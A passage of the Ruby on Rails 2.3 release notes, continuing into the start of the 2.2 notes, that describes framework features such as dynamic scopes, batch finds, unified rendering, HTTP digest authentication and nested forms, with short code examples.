You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
:conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")

Order.scoped_by_customer_id(12) Order.scoped_by_customer_id(12).find(:all, :conditions => "status = 'open'") Order.scoped_by_customer_id(12).scoped_by_status("open") Copiar

There's nothing to define to use dynamic scopes: they just work.

- Lead Contributor: Yaroslav Markin

- More Information: What's New in Edge Rails: Dynamic Scope Methods

4.4 Default Scopes

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => 'name ASC' and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

- Lead Contributor: Paweł Kondzior

- More Information: What's New in Edge Rails: Default Scoping

4.5 Batch Processing

You can now process large numbers of records from an Active Record model with less pressure on memory by using find_in_batches:

Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
customer_group.each { |customer| customer.update_account_balance! }
end

Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| customer_group.each { |customer| customer.update_account_balance! } end Copiar

You can pass most of the find options into find_in_batches. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the :limit option. Instead, use the :batch_size option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new find_each method provides a wrapper around find_in_batches that returns individual records, with the find itself being done in batches (of 1000 by default):

Customer.find_each do |customer|
customer.update_account_balance!
end

Customer.find_each do |customer| customer.update_account_balance! end Copiar

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

- More Information (at that point the convenience method was called just each):

- Rails 2.3: Batch Finding

- What's New in Edge Rails: Batched Find

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

before_save :update_credit_rating, :if => :active,
:unless => [:admin, :cash_only]

before_save :update_credit_rating, :if => :active, :unless => [:admin, :cash_only] Copiar

- Lead Contributor: L. Caviola

4.7 Find with having

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

developers = Developer.find(:all, :group => "salary",
:having => "sum(salary) > 10000", :select => "salary")

developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary") Copiar

- Lead Contributor: Emilio Tagua

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn't change.

- Lead Contributor: Dov Murik

- More information:

- Controlling Automatic Reconnection Behavior

- MySQL auto-reconnect revisited

4.9 Other Active Record Changes

- An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.

- ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record.

- A bug in quoting table names in some has_many :through associations was fixed.

- You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)

- Better error messages on failed find_by_attribute! calls.

- Active Record's to_xml support gets just a little bit more flexible with the addition of a :camelize option.

- A bug in canceling callbacks from before_update or before_create was fixed.

- Rake tasks for testing databases via JDBC have been added.

- validates_length_of will use a custom error message with the :in or :within options (if one is supplied).

- Counts on scoped selects now work properly, so you can do things like Account.scoped(:select => "DISTINCT credit_limit").count.

- ActiveRecord::Base#invalid? now works as the opposite of ActiveRecord::Base#valid?.

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'

render :file => '/tmp/random_file.erb' render :template => 'other_controller/action' render :action => 'show' Copiar

Now in Rails 2.3, you can just supply what you want to render:

render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show

render '/tmp/random_file.erb' render 'other_controller/action' render 'show' render :show Copiar

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

- More Information:

- The Death of Application.rb

- What's New in Edge Rails: Application.rb Duality is no More

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

class PostsController < ApplicationController
Users = {"dhh" => "secret"}
before_filter :authenticate

def secret
render :text => "Password Required!"
end

private
def authenticate
realm = "Application"
authenticate_or_request_with_http_digest(realm) do |name|
Users[name]
end
end
end

class PostsController < ApplicationController Users = {"dhh" => "secret"} before_filter :authenticate def secret render :text => "Password Required!" end private def authenticate realm = "Application" authenticate_or_request_with_http_digest(realm) do |name| Users[name] end end end Copiar

- Lead Contributor: Gregg Kellogg

- More Information: What's New in Edge Rails: HTTP Digest Authentication

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

- Lead Contributors: Aaron Batalion

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

if content_type && Mime::JS =~ content_type
# do something cool
end

Mime::JS =~ "text/javascript"        => true
Mime::JS =~ "application/javascript" => true

if content_type && Mime::JS =~ content_type # do something cool end Mime::JS =~ "text/javascript" => true Mime::JS =~ "application/javascript" => true Copiar

The other change is that the framework now uses the Mime::JS when checking for JavaScript in various spots, making it handle those alternatives cleanly.

- Lead Contributor: Seth Fitzsimmons

5.7 Optimization of respond_to

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

- Lead Contributor: Nahum Wild

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn't present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: public/500.da.html or public/404.en.html work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

- ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with send_file.

- The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely.

- ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware.

- Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.

- You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png).

- The :only and :except options for map.resources are no longer inherited by nested resources.

- The bundled memcached client has been updated to version 1.6.4.99.

- The expires_in, stale?, and fresh_when methods now accept a :public option to make them work well with proxy caching.

- The :requirements option now works properly with additional RESTful member routes.

- Shallow routes now properly respect namespaces.

- polymorphic_url does a better job of handling objects with irregular plural names.

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

class Customer < ActiveRecord::Base
has_many :orders

accepts_nested_attributes_for :orders, :allow_destroy => true
end

class Customer < ActiveRecord::Base has_many :orders accepts_nested_attributes_for :orders, :allow_destroy => true end Copiar

You can write this view in Rails 2.3:

<% form_for @customer do |customer_form| %>
<div>
<%= customer_form.label :name, 'Customer Name:' %>
<%= customer_form.text_field :name %>
</div>

<!-- Here we call fields_for on the customer_form builder instance.
The block is called for each member of the orders collection. -->
<% customer_form.fields_for :orders do |order_form| %>
<p>
<div>
<%= order_form.label :number, 'Order Number:' %>
<%= order_form.text_field :number %>
</div>

<!-- The allow_destroy option in the model enables deletion of
child records. -->
<% unless order_form.object.new_record? %>
<div>
<%= order_form.label :_delete, 'Remove:' %>
<%= order_form.check_box :_delete %>
</div>
<% end %>
</p>
<% end %>

<%= customer_form.submit %>
<% end %>

<% form_for @customer do |customer_form| %> <div> <%= customer_form.label :name, 'Customer Name:' %> <%= customer_form.text_field :name %> </div> <!-- Here we call fields_for on the customer_form builder instance. The block is called for each member of the orders collection. --> <% customer_form.fields_for :orders do |order_form| %> <p> <div> <%= order_form.label :number, 'Order Number:' %> <%= order_form.text_field :number %> </div> <!-- The allow_destroy option in the model enables deletion of child records. --> <% unless order_form.object.new_record? %> <div> <%= order_form.label :_delete, 'Remove:' %> <%= order_form.check_box :_delete %> </div> <% end %> </p> <% end %> <%= customer_form.submit %> <% end %> Copiar

- Lead Contributor: Eloy Duran

- More Information:

- Nested Model Forms

- complex-form-examples

- What's New in Edge Rails: Nested Object Forms

6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article

# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles

# Equivalent of render :partial => 'articles/_article', # :object => @article render @article # Equivalent of render :partial => 'articles/_article', # :collection => @articles render @articles Copiar

- More Information: What's New in Edge Rails: render Stops Being High-Maintenance

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
{:day => 'Choose day', :month => 'Choose month',
:year => 'Choose year', :hour => 'Choose hour',
:minute => 'Choose minute'})

select_datetime(DateTime.now, :prompt => true) select_datetime(DateTime.now, :prompt => "Choose date and time") select_datetime(DateTime.now, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'}) Copiar

- Lead Contributor: Sam Oliver

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster". This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

- More Information: asset-hosting-with-minimum-ssl

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
"Cowboy Hat", "Choose a product...")

grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...") Copiar

returns

<option value="">Choose a product...</option>
<optgroup label="Hats">
<option value="Baseball Cap">Baseball Cap</option>
<option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>

<option value="">Choose a product...</option> <optgroup label="Hats"> <option value="Baseball Cap">Baseball Cap</option> <option selected="selected" value="Cowboy Hat">Cowboy Hat</option> </optgroup> Copiar

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now support a :disabled option, which can take a single value or an array of values to be disabled in the resulting tags:

select(:post, :category, Post::CATEGORIES, :disabled => 'private')

select(:post, :category, Post::CATEGORIES, :disabled => 'private') Copiar

returns

<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>

<select name="post[category]"> <option>story</option> <option>joke</option> <option>poem</option> <option disabled="disabled">private</option> </select> Copiar

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})

options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) Copiar

- Lead Contributor: Tekin Suleyman

- More Information: New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your production.rb file:

config.action_view.cache_template_loading = true

config.action_view.cache_template_loading = true Copiar

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

- Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs.

- auto_link now properly applies options (such as :target and :class) to generated e-mail links.

- The autolink helper has been refactored to make it a bit less messy and more intuitive.

- current_page? now works properly even when there are multiple query parameters in the URL.

7 Active Support

Active Support has a few interesting changes, including the introduction of Object#try.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it's baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

- More Information: try()

7.2 Object#tap Backport

Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

XmlMini.backend = 'LibXML'

XmlMini.backend = 'LibXML' Copiar

- Lead Contributor: Bart ten Brinke

- Lead Contributor: Aaron Patterson

7.4 Fractional seconds for TimeWithZone

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

Time.zone.now.xmlschema(6) # => "2009-01-16T13:00:06.13653Z"

Time.zone.now.xmlschema(6) # => "2009-01-16T13:00:06.13653Z" Copiar

- Lead Contributor: Nicholas Dainty

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

- You can use Enumerable#none? to check that none of the elements match the supplied block.

- If you're using Active Support delegates the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil.

- ActiveSupport::OrderedHash: now implements each_key and each_value.

- ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies).

- Active Support's from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.

- If you memoize a private method, the result will now be private.

- String#parameterize accepts an optional separator: "Quick Brown Fox".parameterize('_') => "quick_brown_fox".

- number_to_phone accepts 7-digit phone numbers now.

- ActiveSupport::Json.decode now handles \u0000 style escape sequences.

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

- More Information:

- Introducing Rails Metal

- Rails Metal: a micro-framework with the power of Rails

- Metal: Super-fast Endpoints within your Rails Apps

- What's New in Edge Rails: Rails Metal

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There's also a rake task to apply a template to an existing application:

$ rake rails:template LOCATION=~/template.rb

rake rails:template LOCATION=~/template.rb Copiar

This will layer the changes from the template on top of whatever code the project already contains.

- Lead Contributor: Jeremy McAnally

- More Info:Rails templates

8.3 Quieter Backtraces

Building on thoughtbot's Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

- Lead Contributor: David Dollar

8.6 Other Railties Changes

- The instructions for updating a CI server to build Rails have been updated and expanded.

- Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test.

- The default environment.rb file has been decluttered.

- The dbconsole script now lets you use an all-numeric password without crashing.

- Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join.

- Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatchers when you run the rails command, or add them later with rake rails:update:generate_dispatchers).

- Rails Guides have been converted from AsciiDoc to Textile markup.

- Scaffolded views and controllers have been cleaned up a bit.

- script/server now accepts a --path argument to mount a Rails application from a specific path.

- If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.

- Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.

9 Deprecated

A few pieces of older code are deprecated in this release:

- If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the irs_process_scripts plugin.

- render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin.

- Support for Rails components has been removed.

- If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.

- ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now.

- The :digest and :secret options to protect_from_forgery are deprecated and have no effect.

- Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client.

- formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead.

- The :http_only option in ActionController::Response#set_cookie has been renamed to :httponly.

- The :connector and :skip_last_comma options of to_sentence have been replaced by :words_connector, :two_words_connector, and :last_word_connector options.

- Posting a multipart form with an empty file_field control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

10 Credits

Release notes compiled by Mike Gunderloy. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

Ruby on Rails 2.2 Release Notes — Ruby...

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

- Lead Contributors: Rails i18 Team

- More information :

- Official Rails i18 website

- Finally. Ruby on Rails gets internationalized

- Localizing Rails : Demo application

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

- Getting Started with Rails

- Rails Database Migrations

- Active Record Associations

- Active Record Query Interface

- Layouts and Rendering in Rails

- Action View Form Helpers

- Rails Routing from the Outside In

- Action Controller Overview

- Rails Caching

- A Guide to Testing Rails Applications

- Securing Rails Applications

- Debugging Rails Applications

- The Basics of Creating Rails Plugins

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

$ rake doc:guides

rake doc:guides Copiar

This will put the guides inside Rails.root/doc/guides and you may start surfing straight away by opening Rails.root/doc/guides/index.html in your favourite browser.

- Major contributions from Xavier Noria and Hongli Lai.

- More information:

- Rails Guides hackfest

- Help improve Rails documentation on Git branch

3 Better integration with HTTP : Out of the box ETag support

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

class ArticlesController < ApplicationController
def show_with_respond_to_block
@article = Article.find(params[:id])

# If the request sends headers that differs from the options provided to stale?, then
# the request is indeed stale and the respond_to block is triggered (and the options
# to the stale? call is set on the response).
#
# If the request headers match, then the request is fresh and the respond_to block is
# not triggered. Instead the default render will occur, which will check the last-modified
# and etag headers and conclude that it only needs to send a "304 Not Modified" instead
# of rendering the template.
if stale?(:last_modified => @article.published_at.utc, :etag => @article)
respond_to do |wants|
# normal response processing
end
end
end

def show_with_implied_render
@article = Article.find(params[:id])

# Sets the response headers and checks them against the request, if the request is stale
# (i.e. no match of either etag or last-modified), then the default render of the template happens.
# If the request is fresh, then the default render will return a "304 Not Modified"
# instead of rendering the template.
fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
end
end

class ArticlesController < ApplicationController def show_with_respond_to_block @article = Article.find(params[:id]) # If the request sends headers that differs from the options provided to stale?, then # the request is indeed stale and the respond_to block is triggered (and the options # to the stale? call is set on the response). # # If the request headers match, then the request is fresh and the respond_to block is # not triggered. Instead the default render will occur, which will check the last-modified # and etag headers and conclude that it only needs to send a "304 Not Modified" instead # of rendering the template. if stale?(:last_modified => @article.published_at.utc, :etag => @article) respond_to do |wants| # normal response processing end end end def show_with_implied_render @article = Article.find(params[:id]) # Sets the response headers and checks them against the request, if the request is stale # (i.e. no match of either etag or last-modified), then the default render of the template happens. # If the request is fresh, then the default render will return a "304 Not Modified" # instead of rendering the template. fresh_when(:last_modified => @article.published_at.utc, :etag => @article) end end Copiar

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

config.threadsafe!

config.threadsafe! Copiar

- More information :

- Thread safety for your Rails

- Thread safety project announcement

- Q/A: What Thread-safe Rails Means

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

- Lead Contributor: Adam Wiggins

- More information:

- DDL Transactions

- A major milestone for DB2 on Rails

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

development:
adapter: mysql
username: root
database: sample_development
pool: 10
wait_timeout: 10

development: adapter: mysql username: root database: sample_development pool: 10 wait_timeout: 10 Copiar

- Lead Contributor: Nick Sieger

- More information:

- What's New in Edge Rails: Connection Pools

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

class Photo < ActiveRecord::Base
belongs_to :product
end

class Product < ActiveRecord::Base
has_many :photos
end

# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})

class Photo < ActiveRecord::Base belongs_to :product end class Product < ActiveRecord::Base has_many :photos end # Get all products with copyright-free photos: Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) Copiar

- More information:

- What's New in Edge Rails: Easy Join Table Conditions

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 find_last_by_attribute

The find_last_by_attribute method is equivalent to Model.last(:conditions => {:attribute => value})

# Get the last user who signed up from London
User.find_last_by_city('London')

# Get the last user who signed up from London User.find_last_by_city('London') Copiar

- Lead Contributor: Emilio Tagua

5.4.2 find_by_attribute!

The new bang! version of find_by_attribute! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')

# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! User.find_by_name!('Moby') Copiar

- Lead Contributor: Josh Susser

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

- Lead Contributor: Adam Milligan

- More information:

- Rails 2.2 Change: Private Methods on Association Proxies are Private

5.6 Other Active Record Changes

- rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo

- Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.

- Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer.

- ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

map.resources :publishers, :shallow => true do |publisher|
